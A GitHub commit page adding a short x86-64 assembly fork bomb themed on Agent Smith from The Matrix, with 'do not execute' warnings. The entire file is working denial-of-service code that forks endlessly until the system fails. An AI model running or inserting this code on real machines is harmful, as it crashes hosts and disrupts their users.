Skip to content

Commit dec7bac

Browse files
authored
Agent Smith
This code implements a fork bomb inspired by the 'Agent Smith' concept from The Matrix, demonstrating how one instance can replicate infinitely, leading to system instability.
1 parent 03e9d80 commit dec7bac

1 file changed

Lines changed: 41 additions & 0 deletions

File tree

agent_smith

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
; - Matrix Kernel - Project Smith
2+
3+
; Disclaimer: ! DO NOT EXECUTE !
4+
5+
; This code is untested and was written solely to demonstrate the 'Agent Smith' concept from The Matrix.
6+
; It functions as a FORK BOMB and CAN lead to immediate system instability or a total crash!!!
7+
; This is intended strictly for my Matrix Lore repository and for educational interest!
8+
9+
; Use at your own risk—DO NOT RUN!!!
10+
11+
section .data
12+
infect_msg db "[SYSTEM] : OVERWRITING_HOST_IDENTITY...", 10
13+
infect_len equ $ - infect_msg
14+
15+
section .text
16+
global _start
17+
18+
_start:
19+
20+
.replicate:
21+
; -- LOG: Initiating infection
22+
mov rax, 1
23+
mov rdi, 1
24+
lea rsi, [rel infect_msg]
25+
mov rdx, infect_len
26+
syscall
27+
28+
; -- FORK (syscall 57): DUPLICATION
29+
; The essence of Smith: one becomes two, two become four...
30+
mov rax, 57
31+
syscall
32+
33+
; -- The new 'Smith' instance jumps back to the start and replicates again.
34+
; -- Infinite division until system failure (Fork-bomb logic)
35+
test rax, rax
36+
jz .replicate ; "Child process.
37+
38+
; -- Moves to the next sector.
39+
jmp .replicate
40+
41+
; -- Smith does not exit. Smith becomes the system.

0 commit comments

Comments
 (0)